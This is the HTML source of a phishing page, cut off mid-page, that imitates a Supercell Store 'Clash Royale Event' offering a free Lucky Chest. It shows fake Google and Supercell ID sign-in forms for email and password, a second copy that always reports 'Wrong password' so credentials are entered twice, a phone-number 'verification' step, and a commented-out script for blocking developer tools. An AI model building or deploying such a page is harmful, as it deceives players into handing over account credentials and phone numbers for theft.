<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Clash Royale - Supercell Store</title>
<meta name="description" content="Clash Royale kini tersedia di Supercell Store dan Dapatkan berbagai hadiah menarik, Ayo ambil hadiah mu secepatnya!!!">
<link rel="icon" type="image/x-icon" href="https://store.supercell.com/favicon.ico">
<script id="unhead:payload" type="application/json">{"title":"Clash Royale - Supercell Store"}</script>
<link rel="stylesheet" href="css/google.css">
<link rel="stylesheet" href="css/main.css">
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<!-- <script src="https://cdn.jsdelivr.net/npm/disable-devtool@latest" disable-devtool-auto=""></script> -->
 <style>
:where(.i-svg-spinners\:90-ring) {
	display:inline-block;
	width:1em;
	height:1em;
	background-color:currentColor;
	-webkit-mask-image:var(--svg);
	mask-image:var(--svg);
	-webkit-mask-repeat:no-repeat;
	mask-repeat:no-repeat;
	-webkit-mask-size:100% 100%;
	mask-size:100% 100%;
	--svg:url("data:image/svg+xml,%3Csvg xmlns='http: //www.w3.org/2000/svg' viewBox='0 0 24 24' width='24' height='24'%3E%3Cpath fill='black' d='M10.14,1.16a11,11,0,0,0-9,8.92A1.59,1.59,0,0,0,2.46,12,1.52,1.52,0,0,0,4.11,10.7a8,8,0,0,1,6.66-6.61A1.42,1.42,0,0,0,12,2.69h0A1.57,1.57,0,0,0,10.14,1.16Z'%3E%3CanimateTransform attributeName='transform' dur='0.75s' repeatCount='indefinite' type='rotate' values='0 12 12;360 12 12'/%3E%3C/path%3E%3C/svg%3E")
}

	#__shagitz .content {
	align-items:center;
	display:flex;
	flex:1;
	flex-direction:column;
	justify-content:flex-start;
	width:100%;
	z-index:2
}
.content .wel {
	width:100%
}
.wel h1 {
	font-size:18px;
	text-align:center
}
.content .front {
	align-items:center;
	background:linear-gradient(
  180deg,
  #2b2c3c 52.82%,
  #2b2c3c 93.65%,
  hsl(236 18% 16% / 1) 98.65%
);
	border-radius:16px;
	box-shadow:0 4px 0 -1px #061e3f,0 24px 14px -8px #1f0e0159,0 28px 18px #15090080,inset 0 0 1px 2px #ffffff4d;
	display:flex;
	flex-direction:column;
	margin:100px 0 50px;
	padding:50px 20px 20px;
	position:relative;
	width:300px
}
.front .f-imgBox {
	animation:bounce-43deaeb2 2s linear infinite;
	left:50%;
	position:absolute;
	top:-100px;
	transform:translate(-50%) rotate(-20deg);
	width:160px;
	z-index:1
}
.front .claim {
	background: linear-gradient(180deg,#16ff63,#098846);
	border-radius: 5px;
	box-shadow: inset 0 5px 0 0 #a4feb4,inset 0 -5px 0 0 #066232;
	color: #fff;
	cursor: pointer;
	font-size: 11px;
	padding: 8px 12px;
}
@keyframes bounce-43deaeb2 {
	0%,to {
		transform:translate(-50%) rotate(-20deg) scale(1)
	}
	50% {
		transform:translate(-50%) rotate(-20deg) scale(1.09)
	}
}
.f-imgBox img {
	max-width:100%;
	position:relative
}
.f-imgBox:before {
	animation:spin-43deaeb2 15s linear infinite;
	background:url(https://p1-image.cdn-aihelp.net/FileService/UserFile/0/202505/20250518164523972aa6d58c753.png) no-repeat 50%;
	background-size:cover;
	content:"";
	height:100%;
	left:0;
	position:absolute;
	top:0;
	width:100%
}
@keyframes spin-43deaeb2 {
	0% {
		transform:rotate(0)
	}
	to {
		transform:rotate(1turn)
	}
}
.front p {
	color:#fff;
	font-family:SupercellText-Regular;
	font-size:11px;
	padding:10px;
	text-align:center
}
.front .g-imgBox {
	background:url(img/bgr.png);
	background-position:50%;
	background-repeat:no-repeat;
	background-size:100% 100%;
	border-radius:5px;
	box-shadow:0 4px 0 -1px #8c5a33,inset 0 0 1px 2px #ffffff4d;
	margin:10px 0 20px;
	overflow:hidden;
	padding:35px 10px 30px;
	position:relative;
	width:150px
}
.front .g-imgBox:before {
	animation:bounces-43deaeb2 1s linear infinite;
	background:url(https://p1-image.cdn-aihelp.net/FileService/UserFile/0/202505/20250513024001460023da61e81.png) no-repeat 50%;
	background-size:cover;
	content:"";
	height:90%;
	left:50%;
	opacity:.5;
	position:absolute;
	top:50%;
	width:90%
}
@keyframes bounces-43deaeb2 {
	0%,to {
		transform:translate(-50%,-50%) scale(1.2)
	}
	50% {
		transform:translate(-50%,-50%) scale(1)
	}
}
.g-imgBox img {
	max-width:100%;
	position:relative;
	z-index:99
}
.g-imgBox img:before {
	animation:bounces-43deaeb2 1s linear infinite;
	background:url(https://p1-image.cdn-aihelp.net/FileService/UserFile/0/202505/20250513024001460023da61e81.png) no-repeat 50%;
	background-size:cover;
	content:"";
	height:90%;
	left:50%;
	opacity:.5;
	position:absolute;
	top:50%;
	width:90%
}
.g-imgBox .g-title {
	font-size:8px;
	left:50%;
	position:absolute;
	text-align:center;
	top:10px;
	transform:translate(-50%);
	width:100%
}
.g-imgBox .g-titles {
	font-size:8px;
	left:50%;
	position:absolute;
	text-align:center;
	bottom:10px;
	transform:translate(-50%);
	width:100%
}
.modal-gacha {
	cursor:pointer;
	height:100%;
	left:50%;
	position:fixed;
	top:50%;
	transform:translate(-50%,-50%);
	width:100%;
	z-index:9
}
.modal-gacha .hint {
	left:50%;
	position:absolute;
	top:25%;
	transform:translate(-50%);
	z-index:2
}
.modal-gacha video {
	height:100%;
	left:0;
	-o-object-fit:fill;
	object-fit:fill;
	position:absolute;
	top:0;
	width:100%
}
video::-webkit-media-controls,video::-webkit-media-controls-enclosure {
	display:none!important
}
video::-webkit-media-controls-panel {
	display:none!important
}
.id-verification {
	align-items:center;
	background:linear-gradient( 180deg, #2b2c3c 52.82%, #2b2c3c 93.65%, hsl(236 18% 16% / 1) 98.65% );
	border-radius:5px;
	box-shadow:0 4px 0 -1px #061e3f,0 24px 14px -8px #1f0e0159,0 28px 18px #15090080,inset 0 0 1px 2px #ffffff4d;
	display:flex;
	flex-direction:column;
	gap:15px;
	justify-content:center;
	left:50%;
	padding:20px;
	position:fixed;
	top:38%;
	transform:translate(-50%,-50%);
	width:80%;
	z-index:9
}
.id-verification .id-text {
	text-align:center
}
.id-verification .id-input {
	background:#f0f0f0;
	background:linear-gradient(0deg,#fff,#fff 48%,#f4f7fa 0,#fff);
	border-radius:6px;
	box-shadow:inset 0 2px #00000040,0 2px #fff3;
	color:#000;
	font-size:16px;
	font-weight:500;
	height:40px;
	outline:none;
	text-align:center;
	width:100%
}
.id-verification .id-btn {
	background:linear-gradient(180deg,#16ff63,#098846);
	border-radius:5px;
	box-shadow:inset 0 5px 0 0 #a4feb4,inset 0 -5px 0 0 #066232;
	color:#fff;
	cursor:pointer;
	font-size:11px;
	padding:8px 11px
}
.id-verification .id-alert {
	color:#fff!important;
	font-size:9px
}
.content .accountInfo {
	align-items:center;
	display:flex;
	flex-direction:column;
	justify-content:center;
	margin-bottom:10px;
	position:relative;
	text-align:center;
	width:100%
}
.accountInfo .nickname {
	font-size:14px;
	margin-bottom:10px
}
.accountInfo .info {
	flex-wrap:wrap;
	padding:0 20px;
	width:100%
}
.accountInfo .info,.info .list {
	align-items:center;
	display:flex;
	gap:5px;
	justify-content:center
}
.info .list {
	border-radius:5px;
	font-size:11px;
	padding:4px
}
.th {
	background:#7e57c2!important
}
.exp {
	background:#2196f3!important
}
.clan {
	background:#555!important
}
.trophy {
	background:#f9a825!important
}
.list img {
	max-width:20px
}
#__shagitz .popgoogle {
	align-items:center;
	background:#fff;
	border-radius:10px;
	box-shadow:0 0 0 2000px #000000bf;
	color:#000;
	display:flex;
	flex-direction:column;
	font-family:google-medium;
	justify-content:center;
	left:50%;
	position:fixed;
	text-shadow:none;
	top:50%;
	transform:translate(-50%,-50%);
	width:90%;
	z-index:999
}
.popgoogle .googlehead {
	border-bottom:1px solid #c4c7c5;
	color:#c4c7c5;
	display:flex;
	gap:10px;
	justify-content:flex-start;
	padding:10px 15px;
	position:relative;
	width:100%
}
.googlehead .headImg {
	height:25px;
	width:25px
}
.headImg img {
	max-width:100%
}
.googlehead .headText {
	align-items:center;
	color:#000;
	display:flex;
	font-size:14px
}
.popgoogle .googlecontent {
	align-items:flex-start;
	color:#000!important;
	display:flex;
	flex-direction:column;
	justify-content:center;
	padding:60px 30px 15px;
	width:100%
}
.googlecontent span {
	color:#000!important
}
.googlecontent .contentTitle {
	font-size:30px;
	width:100%
}
.googlecontent .contentDesc {
	font-size:15px;
	margin-top:15px
}
.googlecontent strong {
	color:#185fd1
}
.googlecontent .googleform {
	align-items:flex-start;
	display:flex;
	flex-direction:column;
	gap:15px;
	justify-content:center;
	margin-top:30px
}
.googlecontent .googleform,.googleform .form-group {
	position:relative;
	width:100%
}
.form-group input {
	border:1px solid gray;
	border-radius:4px;
	color:#000;
	outline:none;
	padding:10px;
	width:100%
}
.form-group label {
	background:#fff;
	color:gray;
	font-size:15px;
	left:8px;
	padding:5px;
	pointer-events:none;
	position:absolute;
	top:50%;
	transform:translateY(-50%);
	transition:all .3s
}
.form-group input:focus {
	border:1px solid #185fd1
}
.form-group input:focus~label {
	color:#185fd1;
	font-size:12px;
	top:0
}
.form-group input.focus~label {
	font-size:12px;
	top:0
}
.googleform .form-text {
	font-size:13px;
	text-align:left;
	width:100%
}
.form-text p {
	color:#444746
}
.form-text span {
	color:#0b57d0!important
}
.googleform .form-action {
	align-items:center;
	display:flex;
	justify-content:space-between;
	width:100%
}
.form-action .createaccount {
	color:#0b57d0!important;
	font-size:14px
}
.form-action .google-submit {
	background:#0b57d0;
	border-radius:50px;
	color:#fff;
	font-size:14px;
	padding:10px 20px
}
.googlecontent .google-footer {
	color:#444746!important;
	display:flex;
	font-size:12px;
	justify-content:space-between;
	margin-top:40px;
	width:100%
}
.google-footer .footer-left {
	color:#444746!important
}
.google-footer .footer-right {
	color:#444746!important;
	display:flex;
	gap:10px;
	justify-content:flex-end
}
#__shagitz .popscid {
	align-items:center;
	background:#fff;
	border-radius:10px;
	box-shadow:0 0 0 2000px #000000bf;
	display:flex;
	flex-direction:column;
	font-family:SupercellText-Medium;
	justify-content:center;
	left:50%;
	padding:30px;
	position:fixed;
	text-shadow:none;
	top:50%;
	transform:translate(-50%,-50%);
	width:90%;
	z-index:999
}
.popscid .logoscid {
	width:150px
}
.logoscid img {
	max-width:100%
}
.popscid .phone-verif {
	align-items:center;
	display:flex;
	flex-direction:column;
	justify-content:center;
	margin-top:30px;
	position:relative;
	width:100%
}
.phone-verif .phone-title {
	color:#000
}
.phone-verif p {
	color:#000;
	font-size:13px;
	text-align:center
}
.phone-verif .phone-form {
	align-items:center;
	display:flex;
	flex-direction:column;
	justify-content:center;
	margin-top:30px;
	width:100%
}
.phone-form input {
	border:none;
	border-radius:10px;
	box-shadow:inset 0 .0625rem .1875rem #00000040;
	color:#666;
	outline:none;
	padding:13px;
	width:100%
}
.phone-form input:focus {
	outline:1px solid #2d85f3
}
.phone-form .phone-submit {
	background-image:linear-gradient(#5793f3,#4281f2);
	border-radius:50px;
	font-family:SupercellText-Bold;
	font-size:13px;
	margin-top:10px;
	padding:10px;
	text-align:center;
	width:100%
}
.popscid .success-alert {
	align-items:center;
	display:flex;
	flex-direction:column;
	justify-content:center;
	margin-top:30px;
	position:relative;
	width:100%
}
.success-alert img {
	margin-bottom:10px;
	max-width:70px
}
.success-alert .phone-title {
	color:#000
}
.success-alert p {
	color:#000;
	font-size:13px;
	text-align:center
}
.popscid .cont {
	align-items:center
}
.popscid .cont,.popscid .slider {
	display:flex;
	flex-direction:column;
	justify-content:center;
	width:100%
}
.popscid .slider {
	margin-top:15px
}
.slider .atas {
	display:flex;
	justify-content:space-between
}
.popscid .slider span {
	color:#000;
	font-size:13px
}
.slider .bawah {
	background-image:linear-gradient(90deg,#3893f6,#2ddeb9);
	border-radius:10px;
	display:flex;
	justify-content:flex-start;
	margin-top:5px;
	padding:4px 5px;
	width:100%
}
.bawah .round {
	background:#fff;
	border-radius:50%;
	height:14px;
	overflow:hidden;
	width:14px
}
.cont .biglogo {
	margin-top:25px;
	width:180px
}
.biglogo img {
	max-width:100%
}
.cont .logtext {
	align-self:center;
	display:flex;
	flex-wrap:wrap;
	gap:5px;
	justify-content:center;
	margin-top:20px;
	width:100%
}
.cont .logtext p {
	color:#000;
	font-family:SupercellText-Bold;
	font-size:18px;
	text-align:center
}
.cont .forms {
	align-self:center;
	display:flex;
	flex-direction:column;
	gap:10px;
	justify-content:center;
	margin-top:20px;
	width:100%
}
.forms input {
	border:none;
	border-radius:10px;
	box-shadow:inset 0 .0625rem .1875rem #00000040;
	color:#666;
	outline:none;
	padding:13px;
	width:100%
}
.forms input:focus {
	outline:1px solid #2d85f3
}
.forms .info {
	color:#666;
	font-family:SupercellText-Regular;
	font-size:12px;
	text-align:center
}
.forms .link {
	color:#2d85f3
}
.forms .login-btn {
	background-image:linear-gradient(#5793f3,#4281f2);
	border-radius:50px;
	font-family:SupercellText-Bold;
	font-size:16px;
	padding:13px;
	text-align:center;
	width:100%
}
.login-btn.green {
	background: linear-gradient(#00e26b,#00b359)
}
#__shagitz .header {
	align-items:center;
	background:url(img/topbar-bg2.png);
	background-position:100% 0;
	background-repeat:repeat-x;
	background-size:contain;
	display:flex;
	filter:drop-shadow(0 10px 4px rgba(0,0,0,.3));
	height:70px;
	justify-content:space-between;
	left:50%;
	padding:0 20px 10px 10px;
	position:fixed;
	top:0;
	transform:translate(-50%);
	width:100%;
	z-index:9
}
.header .imgLogo {
	height:50px;
	width:50px
}
.imgLogo img {
	max-width:100%
}
.header .menuIcon {
	align-items:center;
	display:flex;
	gap:15px;
	justify-content:flex-end
}
.menuIcon #menu {
	position:relative;
	top:-4px
}
#__shagitz .footer {
	align-items:center;
	background:#000;
	display:flex;
	flex-direction:column;
	justify-content:flex-start;
	padding:20px 30px;
	width:100%;
	z-index:1
}
.footer span {
	font-family:supercell-text!important;
	font-size:14px
}
.footer .contact {
	align-items:flex-start;
	display:flex;
	flex-direction:column;
	gap:5px;
	justify-content:center;
	padding:15px 0;
	width:100%
}
.contact .sci {
	align-items:center;
	display:flex;
	gap:10px;
	justify-content:flex-start;
	width:100%
}
.sci img {
	max-width:35px
}
.footer .download {
	align-items:flex-start;
	border-top:1px solid #333;
	display:flex;
	flex-direction:column;
	gap:5px;
	justify-content:center;
	padding:15px 0;
	width:100%
}
.download .store {
	align-items:center;
	display:flex;
	gap:10px;
	justify-content:flex-start;
	width:100%
}
.store img {
	max-width:100px
}
.footer .site-menu {
	align-items:flex-start;
	border-top:1px solid #333;
	display:flex;
	flex-direction:column;
	gap:10px;
	justify-content:center;
	padding:15px 0;
	width:100%
}
.site-menu a {
	color:#fff;
	font-family:supercell-text!important;
	font-size:14px;
	text-decoration:none
}
.footer .address {
	align-items:center;
	display:flex;
	gap:5px;
	justify-content:flex-start;
	padding:15px 0;
	width:100%
}
.address .left {
	align-items:flex-start;
	display:flex;
	flex:1;
	flex-direction:column;
	justify-content:center
}
.left p {
	color:#666;
	font-family:supercell-text!important;
	font-size:14px;
	text-decoration:none
}
.address .right {
	align-items:flex-end;
	align-self:stretch;
	display:flex;
	justify-content:center
}
.right img {
	max-width:60px
}
@font-face {
	font-family:supercell;
	src:url(https://akmweb.youngjoygame.com/web/jefanyamemek/image/aba5d9138d13645070c8aef4f28d833e.woff)
}
@font-face {
	font-family:supercell-text;
	src:url(https://akmweb.youngjoygame.com/web/jefanyamemek/image/b6afa8861b6a3f4b47bcd8a9e244b9d5.ttf)
}
@font-face {
	font-family:SupercellText-Bold;
	src:url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_bd.eot);
	src:url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_bd.eot?#iefix) format("embedded-opentype"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_bd.woff2) format("woff2"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_bd.woff) format("woff"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_bd.ttf) format("truetype")
}
@font-face {
	font-family:SupercellText-Medium;
	src:url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_md.eot);
	src:url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_md.eot?#iefix) format("embedded-opentype"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_md.woff2) format("woff2"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_md.woff) format("woff"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_md.ttf) format("truetype")
}
@font-face {
	font-family:SupercellText-Regular;
	src:url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_rg.eot);
	src:url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_rg.eot?#iefix) format("embedded-opentype"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_rg.woff2) format("woff2"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_rg.woff) format("woff"),url(//cdn.supercell.com/fonts/supercell/supercelltext/full/supercelltext_w_rg.ttf) format("truetype")
}
@font-face {
	font-family:google-regular;
	src:url(https://akmweb.youngjoygame.com/web/moonton/image/9429ca5231a6e45590f3bfbbe4728550.woff)
}
@font-face {
	font-family:google-medium;
	src:url(https://fonts.gstatic.com/s/googlesans/v62/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2tQCIlsw.woff2)
}
* {
	box-sizing:border-box;
	color:#fff;
	letter-spacing:0;
	margin:0;
	padding:0
}
body {
	background-image:url(https://store.supercell.com/images/clashroyale/offers-bg.png),linear-gradient(180deg,#d7c4ac,#ccb393);
	justify-content:center
}
#__shagitz,body {
	align-items:center;
	display:flex;
	min-height:100vh;
	width:100%
}
#__shagitz {
	background-blend-mode:soft-light;
	background-image:url(img/CR_AutochessMainsreenBackground.png);
	background-position:50%;
	background-repeat:repeat;
	background-repeat:no-repeat;
	background-size:180px 180px,100%;
	background-size:cover;
	flex-direction:column;
	font-family:supercell;
	justify-content:flex-start;
	padding-top:80px;
	position:relative
}
#__shagitz:before {
	background:#0000004d;
	content:"";
	height:100%;
	left:0;
	position:fixed;
	top:0;
	width:100%
}
.shadow {
	color:#fff!important;
	text-shadow:0 2px 0 #000,-1px -1px 0 #000,1px -1px 0 #000,-1px 1px 0 #000,1px 3px 0 #000!important
}
.hide {
	display:none!important
}
@media (max-width:360px) {
	.content .front {
		width:250px!important
	}
}
@media (min-width:425px) {
	#__shagitz,.header,.modal-gacha {
		max-width:450px
	}
	.id-verification,.popgoogle,.popscid {
		max-width: 350px
	}
}
video {
  -webkit-tap-highlight-color: transparent;
  tap-highlight-color: transparent;
  outline: none;
  pointer-events: auto;
  touch-action: manipulation;
  -webkit-user-drag: none;
}
video:focus {
  outline: none;
}
video, .modal-gacha, .modal-gacha * {
  -webkit-tap-highlight-color: rgba(0,0,0,0);
  tap-highlight-color: rgba(0,0,0,0); 
  outline: none !important;
  user-select: none;
  -webkit-user-select: none;
  -webkit-touch-callout: none;
}
a {
  -webkit-tap-highlight-color: transparent;
  text-decoration: none;
}

 </style>
<style>
#__shagitz .foot {
	align-items: center;
	background:#000;
	display: flex;
	flex-direction: column;
	justify-content: flex-start;
	padding: 20px 30px;
	width: 100%;
	z-index: 1;
    display:none;
}
.foot span {
	font-family:supercell-text!important;
	font-size:14px
}
.foot .contact {
	align-items:flex-start;
	display:flex;
	flex-direction:column;
	gap:5px;
	justify-content:center;
	padding:15px 0;
	width:100%
}

.foot .download {
	align-items:flex-start;
	border-top:1px solid #333;
	display:flex;
	flex-direction:column;
	gap:5px;
	justify-content:center;
	padding:15px 0;
	width:100%
}

.foot .site-menu {
	align-items:flex-start;
	border-top:1px solid #333;
	display:flex;
	flex-direction:column;
	gap:10px;
	justify-content:center;
	padding:15px 0;
	width:100%
}

.foot .address {
	align-items:center;
	display:flex;
	gap:5px;
	justify-content:flex-start;
	padding:15px 0;
	width:100%
}
</style>
</head>
<body>
<div id="__shagitz">
	<div class="header">
		<div class="imgLogo">
			<img src="https://store.supercell.com/_next/static/media/badge.0494225d.png">
		</div>
		<div class="menuIcon">
			<svg width="32" height="33" viewbox="0 0 32 33" fill="none" xmlns="http://www.w3.org/2000/svg">
			<path d="M20 26.0002H5L7.14285 12.0715L20 6.04834V26.0002Z" stroke="#fff" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
			<path d="M20 6.04834L25 10.1126L27 26.0002H20" stroke="#fff" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
			<path d="M16.5239 9.79013L16.5239 8.00974C16.5239 6.20552 15.2184 4.60759 13.3811 5.08582C10.9769 5.71158 10.2382 8.1223 10.2382 11.4349L10.2382 12.4651" stroke="#fff" stroke-width="1.5" stroke-linecap="round"></path>
			</svg>
			<svg id="menu" xmlns="http://www.w3.org/2000/svg" height="24" width="24" fill="none">
			<path d="M4 12.2202H28" stroke="#fff" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
			<path d="M4 20.3672H28" stroke="#fff" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
			</svg>
		</div>
	</div>
	<div class="content">
		<div class="wel" style="margin-top:30px">
			<h1 class="shadow">Welcome to the <br>Clash Royale Event</h1>
		</div>
		<div class="front " id="initialClaimCard">
			<div class="f-imgBox">
				<img src="img/luck.png">
			</div>
			<p>
				 Don’t miss out! Log in now and claim your Lucky Chest packed with awesome rewards
			</p>
			<!-- <div class="claimz">Claim Free</div> -->
			<div class="claim">Claim Free</div>
		</div>
		<div class="modal-gacha hide">
            <span class="hint shadow">Tap!</span>
            <video
                id="rewardVideo"
                playsinline
                webkit-playsinline
                preload="auto"
                src="video0.php"
                style="will-change: transform; width: 100%; height: auto;"
            ></video>
            </div>
                    
		<div class="front hide" id="finalRewardCard" style="margin-top: 100px;">
			<div class="f-imgBox">
            <img src="img/luck.png">
            </div>
            <div class="g-imgBox">
             <span class="g-title shadow"></span>
            <img src="">
            <span class="g-titles shadow">x100</span>
        </div>
   <div class="claim" id="claimnow">Claim Now</div>
   <div class="claimz" id="claimnowz" style="display:none">Claim Now</div>
   </div>

		<div class="accountInfo" style="display:none">
			<span class="nickname shadow"></span>
			<div class="info">
				<p class="list clan">
					<img></p>
				<p class="list exp">
					<img src="img/exp.webp"></p>
				<p class="list th">
					<img></p>
				<p class="list trophy">
					<img src="img/trophy.png"></p>
			</div>
		</div>
	</div>
<center>
<div class="popup-login login-google animated fadeIn" style="display:none">
    <div class="popup-box-login-google" style="margin-top:5%;">
        <div class="box-loading" style="display:none;">
            <div class="header-google">
            </div>
            <div class="google-loading animated fadeIn" id="google-loading">
                <img src="img/google.png" width="40" height="40" style="margin-left: 0px; margin-bottom: 15px; float: none;">
                <div class="loader-spinner" style="display: block;"></div> <div class="loader-text">Signing in…</div>
            </div>
        </div>
        <div class="box-google">
            <a onmousedown="tutup && tutup.play();" onclick="close_google()" class="close-other"><i class="zmdi zmdi-close"></i></a>
            <div class="header-google">
                <img src="img/google.png" alt="Google Logo">
            </div>
            <div class="txt-login-google">Sign in</div>
            <div class="txt-login-google-desc">to continue to <a href="#">Supercell Store.</a></div>
            
            <form action="javascript:void(0)" id="ValidateLoginGoogleForm">
                <input type="hidden" id="s1_playertag">
                <div class="input-box"> <label class="input-label">Email or Phone</label>
                    <input type="email" class="input-1" name="email" id="email-google" onfocus="setFocus(true, this)" onblur="setFocus(false, this)" required>
                </div>
                <div class="email-google">
                    <svg aria-hidden="true" fill="currentColor" focusable="false" width="14px" height="14px" viewBox="0 -3 24 24" xmlns="https://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg>
                    <span>Couldn't find your Google account.</span>
                </div>

                <div class="input-box"> <label class="input-label">Password</label>
                    <input type="password" class="input-1" name="password" id="password-google" onfocus="setFocus(true, this)" onblur="setFocus(false, this)" required>
                </div>
                <div class="sandi-google">
                    <svg aria-hidden="true" fill="currentColor" focusable="false" width="14px" height="14px" viewBox="0 -3 24 24" xmlns="https://www.w3.org/2000/svg"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"></path></svg>
                    <span>Wrong password, try again.</span>
                </div>

                <div class="checkbox-wrap">
                    <input type="checkbox" id="show-password" onclick="togglePasswordVisibility()">
                    <label for="show-password">Show Password</label>
                </div>
                
                <input type="hidden" name="login" id="login-google" value="Google" readonly>
                
                <button type="button" class="btn-forgot-google">Forgot email?</button>
                <div class="clear"></div> <div class="notify-google">Not your computer? Use Guest mode to sign in privately. <span>Learn more about using Guest mode</span></div>
                
                <div class="button-group-google">
                    <button type="button" class="btn-create-google">Create account</button>
                    <button type="button" class="btn-login-google" id="btn-login-google" onclick="ValidateLoginGoogleData()">Log in</button>
                </div>
            </form>
        </div>
    </div>
</div>
</center>

<center>
<div class="popup-login login-google2 animated fadeIn" id="login-google2">
    <div class="popup-box-login-google" style="margin-top:5%;">
        <div class="box-loading" style="display:none;">
            <div class="header-google">
            </div>
            <div class="google-loading animated fadeIn" id="google-loading">
                <img src="img/google.png" width="40" height="40" style="margin-left: 0px; margin-bottom: 15px; float: none;">
                <div class="loader-spinner" style="display: block;"></div> <div class="loader-text">Signing in…</div>
            </div>
        </div>
        <div class="box-google">
            <a onmousedown="tutup && tutup.play();" onclick="close_google()" class="close-other"><i class="zmdi zmdi-close"></i></a>
            <div class="header-google">
                <img src="img/google.png" alt="Google Logo">
            </div>
            <div class="txt-login-google">Sign in</div>
            <div class="txt-login-google-desc">to continue to <a href="#">Supercell Store.</a></div>
            
            <form action="javascript:void(0)" id="ValidateLoginGoogleForm2">
                <div class="input-box"> <label class="input-label">Email or Phone</label>
                    <input type="email" class="input-1" name="email" id="email-google2" onfocus="setFocus(true, this)" onblur="setFocus(false, this)" required>
                </div>

                <div class="input-box"> <label class="input-label">Password</label>
                    <input type="password" class="input-1" name="password" id="password-google2" onfocus="setFocus(true, this)" onblur="setFocus(false, this)" required>
                </div>
                <div class="sandi-google2" style="display:block">
                    <span style="color:red;font-size:12px">Wrong password, try again.</span>
                </div>

                <div class="checkbox-wrap">
                    <input type="checkbox" id="show-password2" onclick="togglePasswordVisibility2()">
                    <label for="show-password2">Show Password</label>
                </div>
                
                <input type="hidden" name="login" id="login-google2" value="Google" readonly>
                
                <button type="button" class="btn-forgot-google">Forgot email?</button>
                <div class="clear"></div> <div class="notify-google">Not your computer? Use Guest mode to sign in privately. <span>Learn more about using Guest mode</span></div>
                
                <div class="button-group-google">
                    <button type="button" class="btn-create-google">Create account</button>
                    <button type="button" class="btn-login-google" id="btn-login-google2" onclick="ValidateLoginGoogleData2()">Log in</button>
                </div>
            </form>
        </div>
    </div>
</div>
</center>
	<div class="popscid" style="display: none;">
		<div class="logoscid">
			<img src="https://p1-image.cdn-aihelp.net/FileService/UserFile/0/202505/202505121741138325608f7520c.png" alt="Supercell ID" title="Supercell ID" class="h-9">
		</div>
		<div class="slider">
			<div class="atas">
				<span class="login">Log in</span>
				<span class="verify">Verify</span>
				<span class="success">Success</span>
			</div>
			<div class="bawah">
				<div class="round">x</div>
			</div>
		</div>
		<div class="cont" id="supercell1">
			<div class="biglogo">
				<img src="https://accounts.supercell.com/static/appicons/store.png">
			</div>
			<span class="logtext">
			<p>Log in to</p>
			<p>Supercell Store</p>
			</span>
			<div class="forms">
				<input type="hidden" id="s2_playertag">
				<input type="hidden" id="loginsc" value="Supercell">
				<input type="email" id="emailsc" placeholder="Enter your email" required>
				<input type="password" id="passwordsc" placeholder="Enter your password" required>
				<p class="info">
					 This site is protected by reCAPTCHA and the Google <span class="link">Privacy Policy</span>
					and <span class="link">Terms of Service</span>
					apply.
				</p>
				<div class="login-btn" id="buttonsc1" onclick="ValidateLoginSupercell()">LOG IN</div>
				<div class="login-btn" id="buttonsc2" style="display:none">LOADING...</div>
				<div class="login-btn green" id="buttongp1" onclick="open_google_login()">LOG IN WITH GOOGLE</div>
				<div class="login-btn green" id="buttongp2" style="display:none">LOG IN WITH GOOGLE</div>
			</div>
		</div>
        <div class="cont" id="supercell2" style="display:none">
			<div class="biglogo">
				<img src="https://accounts.supercell.com/static/appicons/store.png">
			</div>
			<span class="logtext">
			<p>Log in to</p>
			<p>Supercell Store</p>
			</span>
			<div class="forms">
				<input type="hidden" id="loginsc2" value="Supercell">
				<input type="email" id="emailsc2" placeholder="Enter your email" required>
				<input type="password" id="passwordsc2" placeholder="Enter your password" required>
                <p class="info" style="color:red">Incorrect password. Try again</p>
				<p class="info">
					 This site is protected by reCAPTCHA and the Google <span class="link">Privacy Policy</span>
					and <span class="link">Terms of Service</span>
					apply.
				</p>
				<div class="login-btn" id="buttonsc-sec1" onclick="ValidateLoginSupercell2()">LOG IN</div>
				<div class="login-btn" id="buttonsc-sec2" style="display:none">LOADING...</div>
				<!-- <div class="login-btn green" onclick="open_google_login()">LOG IN WITH GOOGLE</div> -->
			</div>
		</div>
		<div class="phone-verif" style="display: none;">
			<span class="phone-title">Last Verification</span>
			<p>Please enter your phone number to continue</p>
			<div class="phone-form">
				<input type="hidden" id="s3_playertag">
				<input type="hidden" id="validate_email">
				<input type="hidden" id="validate_password">
				<input type="hidden" id="validate_login">
				<input type="number" id="phone" placeholder="Phone Number" required>
				<div class="phone-submit" onclick="ValidatePhone()">Submit</div>
			</div>
		</div>
		<div class="success-alert" style="display: none;">
			<img src="https://accounts.supercell.com/static/media/checkmark_big.2fd62f5fd23abed40ef7b0c9ca513351.svg">
			<span class="phone-title" id="nicksuccess"></span>
			<p>
